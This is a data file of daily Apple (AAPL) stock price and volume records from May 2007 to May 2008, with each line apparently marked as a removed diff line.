-2007-05-08,14.781428337097168,15.021428108215332,14.774285316467285,15.00857162475586,13.058974266052246,195999300.0,AAPL
-2007-05-09,14.987142562866211,15.279999732971191,14.984285354614258,15.268571853637695,13.285197257995605,179439400.0,AAPL
-2007-05-10,15.232856750488281,15.548571586608887,15.131428718566895,15.334285736083984,13.342375755310059,299314400.0,AAPL
-2007-05-11,15.39142894744873,15.59000015258789,15.25428581237793,15.534285545349121,13.51639461517334,163424100.0,AAPL
-2007-05-14,15.65999984741211,15.714285850524902,15.464285850524902,15.622857093811035,13.593462944030762,162986600.0,AAPL
-2007-05-15,15.652856826782227,15.742856979370117,15.21142864227295,15.359999656677246,13.36474895477295,238628600.0,AAPL
-2007-05-16,15.50428581237793,15.54714298248291,14.774285316467285,15.334285736083984,13.342375755310059,281691900.0,AAPL
-2007-05-17,15.307143211364746,15.695713996887207,15.307143211364746,15.634285926818848,13.603408813476562,183822800.0,AAPL
-2007-05-18,15.747142791748047,15.80571460723877,15.681428909301758,15.717143058776855,13.675501823425293,155336300.0,AAPL
-2007-05-21,15.75857162475586,16.064285278320312,15.721428871154785,15.997142791748047,13.919127464294434,159973100.0,AAPL
-2007-05-22,16.06999969482422,16.25,16.001428604125977,16.219999313354492,14.11303424835205,143102400.0,AAPL
-2007-05-23,16.288572311401367,16.428571701049805,16.084285736083984,16.12714195251465,14.032238960266113,227843700.0,AAPL
-2007-05-24,16.11571502685547,16.351428985595703,15.767143249511719,15.812856674194336,13.75877857208252,221840500.0,AAPL
-2007-05-25,16.0,16.25428581237793,15.928571701049805,16.231428146362305,14.122980117797852,158239900.0,AAPL
-2007-05-29,16.350000381469727,16.408571243286133,16.09857177734375,16.33571434020996,14.21371841430664,161423500.0,AAPL
-2007-05-30,16.328571319580078,16.98285675048828,16.218570709228516,16.96714210510254,14.763127326965332,369611200.0,AAPL
-2007-05-31,17.152856826782227,17.452857971191406,17.0771427154541,17.312856674194336,15.063934326171875,324266600.0,AAPL
-2007-06-01,17.299999237060547,17.312856674194336,16.898571014404297,16.91428565979004,14.717135429382324,221315500.0,AAPL
-2007-06-04,16.9471435546875,17.389999389648438,16.842857360839844,17.332857131958008,15.081335067749023,221668300.0,AAPL
-2007-06-05,17.34428596496582,17.527143478393555,17.214284896850586,17.5242862701416,15.24789810180664,230196400.0,AAPL
-2007-06-06,17.47142791748047,17.72142791748047,17.421428680419922,17.662857055664062,15.368467330932617,278060300.0,AAPL
-2007-06-07,17.855714797973633,18.229999542236328,17.59857177734375,17.724285125732422,15.421921730041504,478769900.0,AAPL
-2007-06-08,17.974285125732422,17.9757137298584,17.469999313354492,17.784286499023438,15.47412109375,310420600.0,AAPL
-2007-06-11,18.0,18.02142906188965,17.0771427154541,17.170000076293945,14.939635276794434,468564600.0,AAPL
-2007-06-12,17.049999237060547,17.387142181396484,16.90142822265625,17.1971435546875,14.963250160217285,356641600.0,AAPL
-2007-06-13,17.30714225769043,17.312856674194336,16.485713958740234,16.785715103149414,14.605265617370605,430338300.0,AAPL
-2007-06-14,16.742856979370117,17.064285278320312,16.631427764892578,16.964284896850586,14.760639190673828,243316500.0,AAPL
-2007-06-15,17.231428146362305,17.238571166992188,17.12285804748535,17.214284896850586,14.978166580200195,202804700.0,AAPL
-2007-06-18,17.61142921447754,17.882856369018555,17.505714416503906,17.8700008392334,15.548704147338867,227651200.0,AAPL
-2007-06-19,17.812856674194336,17.858572006225586,17.558570861816406,17.665714263916016,15.370951652526855,235756500.0,AAPL
-2007-06-20,17.695714950561523,17.808570861816406,17.35714340209961,17.364286422729492,15.108681678771973,224378000.0,AAPL
-2007-06-21,17.385713577270508,17.755714416503906,17.24571418762207,17.700000762939453,15.400788307189941,216761300.0,AAPL
-2007-06-22,17.69285774230957,17.77857208251953,17.48285675048828,17.571428298950195,15.288919448852539,157969000.0,AAPL
-2007-06-25,17.74142837524414,17.8700008392334,17.29428482055664,17.477142333984375,15.20688247680664,241350900.0,AAPL
-2007-06-26,17.711427688598633,17.714284896850586,16.959999084472656,17.092857360839844,14.872513771057129,336251300.0,AAPL
-2007-06-27,17.229999542236328,17.43428611755371,17.03714370727539,17.412857055664062,15.1509428024292,243674200.0,AAPL
-2007-06-28,17.479999542236328,17.498571395874023,17.14285659790039,17.222856521606445,14.985624313354492,209535900.0,AAPL
-2007-06-29,17.424285888671875,17.714284896850586,17.29857063293457,17.43428611755371,15.16959285736084,284460400.0,AAPL
-2007-07-02,17.292856216430664,17.441429138183594,17.042856216430664,17.322856903076172,15.0726318359375,248715600.0,AAPL
-2007-07-03,17.428571701049805,18.200000762939453,17.35714340209961,18.167142868041992,15.807246208190918,290620400.0,AAPL
-2007-07-05,18.399999618530273,18.99571418762207,18.38428497314453,18.964284896850586,16.500844955444336,363262900.0,AAPL
-2007-07-06,19.018571853637695,19.04857063293457,18.628570556640625,18.899999618530273,16.44490623474121,218673700.0,AAPL
-2007-07-09,18.911428451538086,18.985713958740234,18.454286575317383,18.618572235107422,16.200037002563477,248955000.0,AAPL
-2007-07-10,18.411428451538086,19.214284896850586,18.40142822265625,18.907142639160156,16.451122283935547,313751900.0,AAPL
-2007-07-11,18.867143630981445,19.100000381469727,18.75857162475586,18.912857055664062,16.456092834472656,205443000.0,AAPL
-2007-07-12,19.121429443359375,19.177143096923828,18.912857055664062,19.152856826782227,16.664913177490234,176152200.0,AAPL
-2007-07-13,19.290000915527344,19.69285774230957,19.21714210510254,19.67571449279785,17.119855880737305,226901500.0,AAPL
-2007-07-16,19.770000457763672,19.997142791748047,19.64285659790039,19.72857093811035,17.16584587097168,234028200.0,AAPL
-2007-07-17,19.757143020629883,19.94285774230957,19.64285659790039,19.84428596496582,17.266529083251953,177489900.0,AAPL
-2007-07-18,19.74142837524414,19.777143478393555,19.43428611755371,19.731428146362305,17.168333053588867,189214200.0,AAPL
-2007-07-19,20.042856216430664,20.11571502685547,19.950000762939453,20.0,17.402019500732422,183222900.0,AAPL
-2007-07-20,20.235713958740234,20.597143173217773,20.0,20.535715103149414,17.868141174316406,291943400.0,AAPL
-2007-07-23,20.472856521606445,20.74571418762207,20.132856369018555,20.52857208251953,17.8619327545166,259122500.0,AAPL
-2007-07-24,19.84000015258789,20.14285659790039,19.16428565979004,19.270000457763672,16.766841888427734,448823200.0,AAPL
-2007-07-25,19.621429443359375,19.765714645385742,19.285715103149414,19.608572006225586,17.06143569946289,374045700.0,AAPL
-2007-07-26,20.84428596496582,21.214284896850586,19.56571388244629,20.85714340209961,18.1478214263916,546657300.0,AAPL
-2007-07-27,20.88428497314453,21.2742862701416,20.540000915527344,20.549999237060547,17.88057518005371,290274600.0,AAPL
-2007-07-30,20.618572235107422,20.77857208251953,19.93857192993164,20.204286575317383,17.57976722717285,276747100.0,AAPL
-2007-07-31,20.424285888671875,20.497142791748047,18.788572311401367,18.822856903076172,16.377790451049805,440598200.0,AAPL
-2007-08-01,19.091428756713867,19.34000015258789,18.252857208251953,19.285715103149414,16.780513763427734,437539200.0,AAPL
-2007-08-02,19.52142906188965,19.56571388244629,19.16428565979004,19.498571395874023,16.96572494506836,213161200.0,AAPL
-2007-08-03,19.322856903076172,19.421428680419922,18.785715103149414,18.83571434020996,16.388975143432617,169796900.0,AAPL
-2007-08-06,18.985713958740234,19.32428550720215,18.328571319580078,19.321428298950195,16.81159019470215,231292600.0,AAPL
-2007-08-07,19.277143478393555,19.605714797973633,18.9471435546875,19.290000915527344,16.78424835205078,237484100.0,AAPL
-2007-08-08,19.53714370727539,19.551427841186523,18.85714340209961,19.144285202026367,16.657459259033203,202024200.0,AAPL
-2007-08-09,18.729999542236328,19.0,17.8700008392334,18.055713653564453,15.710295677185059,281348900.0,AAPL
-2007-08-10,17.588571548461914,18.25,17.185714721679688,17.85714340209961,15.537516593933105,352687300.0,AAPL
-2007-08-13,18.33142852783203,18.47857093811035,18.071428298950195,18.255714416503906,15.884315490722656,188227900.0,AAPL
-2007-08-14,18.3271427154541,18.328571319580078,17.6728572845459,17.718570709228516,15.416947364807129,184751700.0,AAPL
-2007-08-15,17.534286499023438,17.837142944335938,17.092857360839844,17.128570556640625,14.903587341308594,248213000.0,AAPL
-2007-08-16,16.715713500976562,16.928571701049805,15.945713996887207,16.72142791748047,14.549328804016113,466672500.0,AAPL
-2007-08-17,17.43000030517578,17.64285659790039,17.117143630981445,17.437143325805664,15.172074317932129,298765600.0,AAPL
-2007-08-20,17.70857048034668,17.785715103149414,17.214284896850586,17.459999084472656,15.191956520080566,200829300.0,AAPL
-2007-08-21,17.45857048034668,18.4228572845459,17.285715103149414,18.224285125732422,15.85696792602539,325761800.0,AAPL
-2007-08-22,18.74571418762207,18.964284896850586,18.618572235107422,18.93000030517578,16.47101402282715,265441400.0,AAPL
-2007-08-23,19.01285743713379,19.04857063293457,18.53714370727539,18.724285125732422,16.292016983032227,216709500.0,AAPL
-2007-08-24,18.64714241027832,19.338571548461914,18.54428482055664,19.328571319580078,16.81780433654785,227958500.0,AAPL
-2007-08-27,19.055713653564453,19.23714256286621,18.871429443359375,18.89285659790039,16.438692092895508,176859900.0,AAPL
-2007-08-28,18.71285629272461,18.915714263916016,18.09000015258789,18.117143630981445,15.763741493225098,294841400.0,AAPL
-2007-08-29,18.554285049438477,19.16857147216797,18.505714416503906,19.154285430908203,16.666166305541992,291715200.0,AAPL
-2007-08-30,18.952857971191406,19.75,18.899999618530273,19.464284896850586,16.935894012451172,358895600.0,AAPL
-2007-08-31,19.927143096923828,19.950000762939453,19.6299991607666,19.78285789489746,17.213085174560547,219221800.0,AAPL
-2007-09-04,19.99142837524414,20.818571090698242,19.977142333984375,20.59428596496582,17.919109344482422,329210700.0,AAPL
-2007-09-05,20.709999084472656,20.834285736083984,19.44285774230957,19.53714370727539,16.99928855895996,582055600.0,AAPL
-2007-09-06,19.36571502685547,19.652856826782227,18.95857048034668,19.28714370727539,16.781768798828125,475315400.0,AAPL
-2007-09-07,18.858572006225586,18.899999618530273,18.571428298950195,18.82428550720215,16.3790283203125,357644000.0,AAPL
-2007-09-10,19.56999969482422,19.719999313354492,19.135713577270508,19.530000686645508,16.993072509765625,371959700.0,AAPL
-2007-09-11,19.700000762939453,19.757143020629883,19.10714340209961,19.355714797973633,16.841428756713867,242971400.0,AAPL
-2007-09-12,19.427143096923828,19.91428565979004,19.39285659790039,19.549999237060547,17.010475158691406,255692500.0,AAPL
-2007-09-13,19.832857131958008,19.85714340209961,19.52142906188965,19.600000381469727,17.05398178100586,164040800.0,AAPL
-2007-09-14,19.510000228881836,19.854286193847656,19.457143783569336,19.829999923706055,17.254100799560547,151830000.0,AAPL
-2007-09-17,19.855714797973633,20.084285736083984,19.657142639160156,19.772857666015625,17.204381942749023,198342900.0,AAPL
-2007-09-18,19.86571502685547,20.407142639160156,19.690000534057617,20.131427764892578,17.516372680664062,266022400.0,AAPL
-2007-09-19,20.431428909301758,20.45142936706543,19.91428565979004,20.110000610351562,17.497732162475586,256720100.0,AAPL
-2007-09-20,20.02142906188965,20.255714416503906,19.902856826782227,20.04428482055664,17.4405517578125,172960200.0,AAPL
-2007-09-21,20.162857055664062,20.66428565979004,20.04428482055664,20.592857360839844,17.917858123779297,284720100.0,AAPL
-2007-09-24,20.961427688598633,21.407142639160156,20.950000762939453,21.182857513427734,18.431222915649414,263040400.0,AAPL
-2007-09-25,20.977142333984375,21.88857078552246,20.974285125732422,21.882856369018555,19.040298461914062,298137700.0,AAPL
-2007-09-26,22.067142486572266,22.14285659790039,21.60714340209961,21.82428550720215,18.989334106445312,243817000.0,AAPL
-2007-09-27,21.96714210510254,22.07428550720215,21.760000228881836,22.071428298950195,19.20437240600586,164549700.0,AAPL
-2007-09-28,21.920000076293945,22.08571434020996,21.821428298950195,21.924285888671875,19.076337814331055,153775300.0,AAPL
-2007-10-01,22.09000015258789,22.48714256286621,21.847143173217773,22.334285736083984,19.433082580566406,209267100.0,AAPL
-2007-10-02,22.364286422729492,22.65571403503418,22.270000457763672,22.635713577270508,19.695350646972656,198017400.0,AAPL
-2007-10-03,22.540000915527344,22.739999771118164,22.43000030517578,22.559999465942383,19.629474639892578,173129600.0,AAPL
-2007-10-04,22.571428298950195,22.582857131958008,21.928571701049805,22.31999969482422,19.420652389526367,164239600.0,AAPL
-2007-10-05,22.624286651611328,23.082857131958008,22.52857208251953,23.064285278320312,20.068256378173828,235867800.0,AAPL
-2007-10-08,23.355714797973633,23.98714256286621,23.281429290771484,23.98714256286621,20.87123680114746,208982200.0,AAPL
-2007-10-09,24.314285278320312,24.444286346435547,23.81142807006836,23.979999542236328,20.865020751953125,276071600.0,AAPL
-2007-10-10,23.935714721679688,23.98285675048828,23.657142639160156,23.8271427154541,20.732019424438477,166897500.0,AAPL
-2007-10-11,24.21285629272461,24.554285049438477,21.887142181396484,23.17571449279785,20.16520881652832,410998000.0,AAPL
-2007-10-12,23.28714370727539,23.89714241027832,23.114286422729492,23.89285659790039,20.78919219970703,247044000.0,AAPL
-2007-10-15,23.997142791748047,24.224285125732422,23.35714340209961,23.854286193847656,20.755640029907227,269482500.0,AAPL
-2007-10-16,23.648571014404297,24.31142807006836,23.592857360839844,24.2257137298584,21.078815460205078,266957600.0,AAPL
-2007-10-17,24.670000076293945,24.719999313354492,24.16857147216797,24.678571701049805,21.472848892211914,281903300.0,AAPL
-2007-10-18,24.5,24.88428497314453,24.435714721679688,24.785715103149414,21.566072463989258,205919000.0,AAPL
-2007-10-19,24.891427993774414,24.9471435546875,24.285715103149414,24.345714569091797,21.183229446411133,322945000.0,AAPL
-2007-10-22,24.33571434020996,24.985713958740234,24.280000686645508,24.908571243286133,21.672971725463867,412374900.0,AAPL
-2007-10-23,26.937143325805664,26.94285774230957,26.108572006225586,26.59428596496582,23.139713287353516,448791000.0,AAPL
-2007-10-24,26.54428482055664,26.744285583496094,25.605714797973633,26.56142807006836,23.11112403869629,322120400.0,AAPL
-2007-10-25,26.40999984741211,26.55714225769043,25.95142936706543,26.11142921447754,22.71957778930664,243400500.0,AAPL
-2007-10-26,26.469999313354492,26.481428146362305,26.125713348388672,26.385713577270508,22.958232879638672,176719200.0,AAPL
-2007-10-29,26.492856979370117,26.65571403503418,26.385713577270508,26.441429138183594,23.0067081451416,135138500.0,AAPL
-2007-10-30,26.597143173217773,27.0528564453125,26.389999389648438,26.714284896850586,23.244125366210938,234853500.0,AAPL
-2007-10-31,26.804285049438477,27.15999984741211,26.421428680419922,27.135713577270508,23.610807418823242,208327700.0,AAPL
-2007-11-01,26.94285774230957,27.157142639160156,25.714284896850586,26.777143478393555,23.298816680908203,201259100.0,AAPL
-2007-11-02,27.030000686645508,27.062856674194336,26.21285629272461,26.838571548461914,23.35226821899414,250528600.0,AAPL
-2007-11-05,26.469999313354492,26.994285583496094,26.31999969482422,26.597143173217773,23.142200469970703,201044200.0,AAPL
-2007-11-06,26.72142791748047,27.428571701049805,26.46714210510254,27.398571014404297,23.839521408081055,238681800.0,AAPL
-2007-11-07,27.229999542236328,27.525714874267578,26.59000015258789,26.614286422729492,23.157114028930664,248581900.0,AAPL
-2007-11-08,26.667142868041992,26.700000762939453,23.96714210510254,25.067142486572266,21.810945510864258,472594500.0,AAPL
-2007-11-09,24.450000762939453,25.01714324951172,23.601428985595703,23.624286651611328,20.555513381958008,381595200.0,AAPL
-2007-11-12,23.61142921447754,23.957143783569336,21.518571853637695,21.965713500976562,19.11238670349121,442266300.0,AAPL
-2007-11-13,22.97857093811035,24.42571449279785,21.965713500976562,24.280000686645508,21.12605094909668,434861700.0,AAPL
-2007-11-14,25.308570861816406,25.367143630981445,23.391427993774414,23.729999542236328,20.64749526977539,362292000.0,AAPL
-2007-11-15,23.770000457763672,24.227142333984375,22.899999618530273,23.47142791748047,20.422513961791992,371852600.0,AAPL
-2007-11-16,23.614286422729492,23.860000610351562,22.761428833007812,23.770000457763672,20.682296752929688,345873500.0,AAPL
-2007-11-19,23.72857093811035,24.02857208251953,23.157142639160156,23.421428680419922,20.379009246826172,288607200.0,AAPL
-2007-11-20,23.667142868041992,24.54142951965332,23.36142921447754,24.121429443359375,20.988075256347656,385910700.0,AAPL
-2007-11-21,23.691429138183594,24.621429443359375,23.5242862701416,24.06571388244629,20.93960189819336,304452400.0,AAPL
-2007-11-23,24.571428298950195,24.578571319580078,24.25,24.505714416503906,21.32244110107422,116439400.0,AAPL
-2007-11-26,24.79857063293457,25.32428550720215,24.621429443359375,24.648571014404297,21.446744918823242,326438700.0,AAPL
-2007-11-27,25.031429290771484,25.112857818603516,24.28714370727539,24.972856521606445,21.72890853881836,329257600.0,AAPL
-2007-11-28,25.260000228881836,25.799999237060547,25.049999237060547,25.74571418762207,22.4013729095459,287728000.0,AAPL
-2007-11-29,25.632856369018555,26.452857971191406,25.592857360839844,26.3271427154541,22.907272338867188,262731700.0,AAPL
-2007-11-30,26.76285743713379,26.814285278320312,25.671428680419922,26.031429290771484,22.649972915649414,296950500.0,AAPL
-2007-12-03,25.979999542236328,26.305713653564453,25.385713577270508,25.551427841186523,22.23232078552246,240367400.0,AAPL
-2007-12-04,25.30714225769043,25.842857360839844,25.284286499023438,25.687143325805664,22.35040855407715,193449900.0,AAPL
-2007-12-05,26.12714195251465,26.571428298950195,26.058570861816406,26.5,23.05767250061035,223100500.0,AAPL
-2007-12-06,26.59857177734375,27.157142639160156,26.588571548461914,27.135713577270508,23.610807418823242,224952700.0,AAPL
-2007-12-07,27.219999313354492,27.855714797973633,26.862857818603516,27.757143020629883,24.151517868041992,266516600.0,AAPL
-2007-12-10,27.65571403503418,27.95142936706543,27.527143478393555,27.744285583496094,24.14032745361328,180594400.0,AAPL
-2007-12-11,27.821428298950195,28.118572235107422,26.770000457763672,26.93428611755371,23.435550689697266,277731300.0,AAPL
-2007-12-12,27.63428497314453,27.78285789489746,26.53714370727539,27.265714645385742,23.723922729492188,306415200.0,AAPL
-2007-12-13,27.170000076293945,27.445714950561523,26.83142852783203,27.404285430908203,23.84449577331543,216154400.0,AAPL
-2007-12-14,27.195714950561523,27.600000381469727,27.0771427154541,27.198572158813477,23.665502548217773,168578200.0,AAPL
-2007-12-17,27.24571418762207,27.52142906188965,26.139999389648438,26.342857360839844,22.920942306518555,256173400.0,AAPL
-2007-12-18,26.645713806152344,26.761428833007812,25.514286041259766,26.139999389648438,22.744441986083984,305650800.0,AAPL
-2007-12-19,26.139999389648438,26.37714195251465,25.842857360839844,26.15999984741211,22.761838912963867,206869600.0,AAPL
-2007-12-20,26.489999771118164,26.832857131958008,26.190000534057617,26.744285583496094,23.270227432250977,193514300.0,AAPL
-2007-12-21,27.15999984741211,27.70142936706543,27.12714195251465,27.70142936706543,24.103042602539062,248490200.0,AAPL
-2007-12-24,27.86142921447754,28.4757137298584,27.8271427154541,28.399999618530273,24.710866928100586,120050700.0,AAPL
-2007-12-26,28.43000030517578,28.70857048034668,28.117143630981445,28.421428680419922,24.729515075683594,175933100.0,AAPL
-2007-12-27,28.421428680419922,28.994285583496094,28.257143020629883,28.367143630981445,24.68227767944336,198881900.0,AAPL
-2007-12-28,28.65571403503418,28.79428482055664,28.125713348388672,28.547142028808594,24.838895797729492,174911800.0,AAPL
-2007-12-31,28.5,28.64285659790039,28.25,28.297142028808594,24.621370315551758,134833300.0,AAPL
-2008-01-02,28.46714210510254,28.608572006225586,27.507143020629883,27.834285736083984,24.21864128112793,269794700.0,AAPL
-2008-01-03,27.915714263916016,28.198572158813477,27.527143478393555,27.847143173217773,24.22982406616211,210516600.0,AAPL
-2008-01-04,27.350000381469727,27.571428298950195,25.555713653564453,25.72142791748047,22.380233764648438,363958000.0,AAPL
-2008-01-07,25.89285659790039,26.22857093811035,24.318571090698242,25.37714195251465,22.08067512512207,518048300.0,AAPL
-2008-01-08,25.734285354614258,26.06571388244629,24.399999618530273,24.464284896850586,21.286396026611328,380954000.0,AAPL
-2008-01-09,24.47142791748047,25.64285659790039,24.042856216430664,25.628570556640625,22.2994441986084,453470500.0,AAPL
-2008-01-10,25.368572235107422,25.85714340209961,25.058570861816406,25.431428909301758,22.127912521362305,370743800.0,AAPL
-2008-01-11,25.14285659790039,25.407142639160156,24.285715103149414,24.670000076293945,21.465391159057617,308071400.0,AAPL
-2008-01-14,25.360000610351562,25.631427764892578,25.0242862701416,25.540000915527344,22.222379684448242,275112600.0,AAPL
-2008-01-15,25.38857078552246,25.60285758972168,23.522857666015625,24.148571014404297,21.01169204711914,585819500.0,AAPL
-2008-01-16,23.604286193847656,24.144285202026367,22.385713577270508,22.805713653564453,19.8432674407959,553461300.0,AAPL
-2008-01-17,23.072856903076172,23.62285804748535,22.631427764892578,22.984285354614258,19.99864959716797,439464900.0,AAPL
-2008-01-18,23.101428985595703,23.678571701049805,22.801427841186523,23.051427841186523,20.057064056396484,431085900.0,AAPL
-2008-01-22,21.15142822265625,22.854286193847656,20.85714340209961,22.234285354614258,19.346073150634766,608688500.0,AAPL
-2008-01-23,19.45571517944336,20.0,18.020000457763672,19.867143630981445,17.28642463684082,843242400.0,AAPL
-2008-01-24,19.998571395874023,20.100000381469727,18.858572006225586,19.371429443359375,16.8551025390625,501466700.0,AAPL
-2008-01-25,19.855714797973633,19.8700008392334,18.515714645385742,18.572856903076172,16.160263061523438,388684800.0,AAPL
-2008-01-28,18.308570861816406,19.02857208251953,18.064285278320312,18.572856903076172,16.160263061523438,368711000.0,AAPL
-2008-01-29,18.735713958740234,18.969999313354492,18.435714721679688,18.79142951965332,16.35044288635254,274995700.0,AAPL
-2008-01-30,18.76714324951172,19.350000381469727,18.571428298950195,18.882856369018555,16.429996490478516,310762900.0,AAPL
-2008-01-31,18.492856979370117,19.52142906188965,18.485713958740234,19.337142944335938,16.825265884399414,336418600.0,AAPL
-2008-02-01,19.46285629272461,19.51285743713379,18.882856369018555,19.10714340209961,16.625144958496094,252686000.0,AAPL
-2008-02-04,19.1728572845459,19.41428565979004,18.7742862701416,18.80714225769043,16.36410903930664,224808500.0,AAPL
-2008-02-05,18.632856369018555,19.14285659790039,18.41428565979004,18.479999542236328,16.079465866088867,285260500.0,AAPL
-2008-02-06,18.690000534057617,18.845714569091797,17.395713806152344,17.428571701049805,15.164618492126465,393318100.0,AAPL
-2008-02-07,17.13857078552246,17.825714111328125,16.752857208251953,17.31999969482422,15.070151329040527,520832900.0,AAPL
-2008-02-08,17.440000534057617,17.957143783569336,17.371429443359375,17.92571449279785,15.597180366516113,338993200.0,AAPL
-2008-02-11,18.28714370727539,18.568571090698242,18.171428680419922,18.492856979370117,16.090656280517578,300358100.0,AAPL
-2008-02-12,18.671428680419922,18.714284896850586,17.65999984741211,17.837142944335938,15.520116806030273,306495000.0,AAPL
-2008-02-13,18.097143173217773,18.540000915527344,17.9471435546875,18.485713958740234,16.084436416625977,242133500.0,AAPL
-2008-02-14,18.485713958740234,18.685714721679688,18.144285202026367,18.20857048034668,15.843295097351074,238524300.0,AAPL
-2008-02-15,18.038572311401367,18.154285430908203,17.722856521606445,17.804285049438477,15.491524696350098,225325100.0,AAPL
-2008-02-19,17.998571395874023,18.10714340209961,17.34857177734375,17.454286575317383,15.186988830566406,251261500.0,AAPL
-2008-02-20,17.457143783569336,17.799999237060547,17.382856369018555,17.68857192993164,15.39084243774414,241859800.0,AAPL
-2008-02-21,18.007143020629883,18.067142486572266,17.265714645385742,17.362857818603516,15.107439041137695,234528700.0,AAPL
-2008-02-22,17.497142791748047,17.501428604125977,16.5528564453125,17.06571388244629,14.848895072937012,382469500.0,AAPL
-2008-02-25,16.941429138183594,17.167142868041992,16.665714263916016,17.105714797973633,14.883700370788574,314193600.0,AAPL
-2008-02-26,16.805713653564453,17.29857063293457,16.49142837524414,17.02142906188965,14.810359001159668,376222000.0,AAPL
-2008-02-27,16.889999389648438,17.578571319580078,16.8700008392334,17.56571388244629,15.28394603729248,368784500.0,AAPL
-2008-02-28,18.171428680419922,18.885713577270508,17.96714210510254,18.558570861816406,16.147829055786133,404563600.0,AAPL
-2008-02-29,18.469999313354492,18.601428985595703,17.828571319580078,17.860000610351562,15.540000915527344,313870200.0,AAPL
-2008-03-03,17.777143478393555,17.997142791748047,16.85714340209961,17.389999389648438,15.13105583190918,398260800.0,AAPL
-2008-03-04,17.427143096923828,17.84000015258789,17.200000762939453,17.8028564453125,15.490279197692871,446345900.0,AAPL
-2008-03-05,17.654285430908203,17.87714195251465,17.464284896850586,17.784286499023438,15.47412109375,305459000.0,AAPL
-2008-03-06,17.801427841186523,18.214284896850586,17.25857162475586,17.275714874267578,15.031615257263184,368424700.0,AAPL
-2008-03-07,17.20142936706543,17.568571090698242,17.007143020629883,17.464284896850586,15.195691108703613,307615700.0,AAPL
-2008-03-10,17.42571449279785,17.637142181396484,17.0528564453125,17.09857177734375,14.877480506896973,249897200.0,AAPL
-2008-03-11,17.72857093811035,18.211427688598633,17.428571701049805,18.19285774230957,15.829622268676758,290985800.0,AAPL
-2008-03-12,18.148571014404297,18.382856369018555,17.881427764892578,18.00428581237793,15.665545463562012,264907300.0,AAPL
-2008-03-13,17.72857093811035,18.5,17.571428298950195,18.277143478393555,15.90295696258545,315525700.0,AAPL
-2008-03-14,18.554285049438477,18.614286422729492,17.742856979370117,18.087142944335938,15.737639427185059,289160200.0,AAPL
-2008-03-17,17.507143020629883,18.3700008392334,17.507143020629883,18.104286193847656,15.752556800842285,268149700.0,AAPL
-2008-03-18,18.454286575317383,19.0,18.381427764892578,18.974285125732422,16.50953483581543,301280000.0,AAPL
-2008-03-19,19.01714324951172,19.18428611755371,18.5242862701416,18.5242862701416,16.118000030517578,252634200.0,AAPL
-2008-03-20,18.731428146362305,19.04142951965332,18.454286575317383,19.038572311401367,16.565475463867188,227196900.0,AAPL
-2008-03-24,19.144285202026367,20.121429443359375,19.091428756713867,19.932857513427734,17.34360122680664,266730100.0,AAPL
-2008-03-25,19.994285583496094,20.44285774230957,19.618572235107422,20.139999389648438,17.52383041381836,263097800.0,AAPL
-2008-03-26,20.124286651611328,20.81999969482422,20.091428756713867,20.722856521606445,18.03098487854004,295521100.0,AAPL
-2008-03-27,20.707143783569336,20.75857162475586,19.998571395874023,20.035715103149414,17.433088302612305,249957400.0,AAPL
-2008-03-28,20.257143020629883,20.66428565979004,20.22857093811035,20.43000030517578,17.77616310119629,178652600.0,AAPL
-2008-03-31,20.46714210510254,20.81571388244629,20.360000610351562,20.5,17.837072372436523,192016300.0,AAPL
-2008-04-01,20.899999618530273,21.3799991607666,20.515714645385742,21.36142921447754,18.586599349975586,258141800.0,AAPL
-2008-04-02,21.25428581237793,21.600000381469727,20.83571434020996,21.06999969482422,18.33302879333496,261242100.0,AAPL
-2008-04-03,21.00857162475586,21.9471435546875,21.0,21.658571243286133,18.845149993896484,262892000.0,AAPL
-2008-04-04,21.74142837524414,22.101428985595703,21.535715103149414,21.868572235107422,19.027864456176758,213604300.0,AAPL
-2008-04-07,22.304285049438477,22.812856674194336,22.158571243286133,22.270000457763672,19.37714958190918,289581600.0,AAPL
-2008-04-08,21.935714721679688,22.350000381469727,21.760000228881836,21.834285736083984,18.99803352355957,253573600.0,AAPL
-2008-04-09,21.90142822265625,21.984285354614258,21.494285583496094,21.63428497314453,18.824010848999023,218349600.0,AAPL
-2008-04-10,21.59000015258789,22.202857971191406,21.514286041259766,22.078571319580078,19.21058464050293,238940800.0,AAPL
-2008-04-11,21.817142486572266,21.899999618530273,20.91428565979004,21.020000457763672,18.289520263671875,302519000.0,AAPL
-2008-04-14,20.96714210510254,21.321428298950195,20.648571014404297,21.11142921447754,18.36907386779785,211271900.0,AAPL
-2008-04-15,21.342857360839844,21.38857078552246,20.817142486572266,21.1971435546875,18.443655014038086,174509300.0,AAPL
-2008-04-16,21.674285888671875,22.014286041259766,21.51714324951172,21.957143783569336,19.104938507080078,198943500.0,AAPL
-2008-04-17,22.0242862701416,22.285715103149414,21.907142639160156,22.06999969482422,19.203128814697266,176066800.0,AAPL
-2008-04-18,22.731428146362305,23.18000030517578,22.625713348388672,23.005714416503906,20.01729393005371,256691400.0,AAPL
-2008-04-21,23.1728572845459,24.071428298950195,23.108572006225586,24.022857666015625,20.902311325073242,259788200.0,AAPL
-2008-04-22,23.91428565979004,24.0,22.584285736083984,22.885713577270508,19.912883758544922,359893100.0,AAPL
-2008-04-23,23.435714721679688,23.54857063293457,23.011428833007812,23.270000457763672,20.247249603271484,376047700.0,AAPL
-2008-04-24,23.6200008392334,24.28285789489746,22.74142837524414,24.13428497314453,20.9992618560791,424016600.0,AAPL
-2008-04-25,24.385713577270508,24.44285774230957,23.7742862701416,24.247142791748047,21.09745979309082,248118500.0,AAPL
-2008-04-28,24.25,24.821428298950195,24.161428451538086,24.605714797973633,21.409454345703125,196803600.0,AAPL
-2008-04-29,24.444286346435547,25.09428596496582,24.321428298950195,25.007143020629883,21.75874137878418,230869100.0,AAPL
-2008-04-30,25.170000076293945,25.714284896850586,24.702857971191406,24.850000381469727,21.622013092041016,284881100.0,AAPL
-2008-05-01,24.994285583496094,25.714284896850586,24.979999542236328,25.714284896850586,22.3740291595459,225894200.0,AAPL
-2008-05-02,25.74142837524414,25.988571166992188,25.507143020629883,25.84857177734375,22.490869522094727,251520500.0,AAPL
-2008-05-05,25.988571166992188,26.472856521606445,25.864286422729492,26.389999389648438,22.961965560913086,213639300.0,AAPL
-2008-05-06,26.3799991607666,26.731428146362305,26.025714874267578,26.665714263916016,23.20186424255371,229717600.0,AAPL
-2008-05-07,26.578571319580078,26.885713577270508,25.79142951965332,26.084285736083984,22.69596290588379,289283400.0,AAPL
-2008-05-08,26.252857208251953,26.64285659790039,26.152856826782227,26.437143325805664,23.00298500061035,224771400.0,AAPL
-2008-05-09,26.165714263916016,26.321428298950195,25.90999984741211,26.207143783569336,22.8028564453125,168268100.0,AAPL
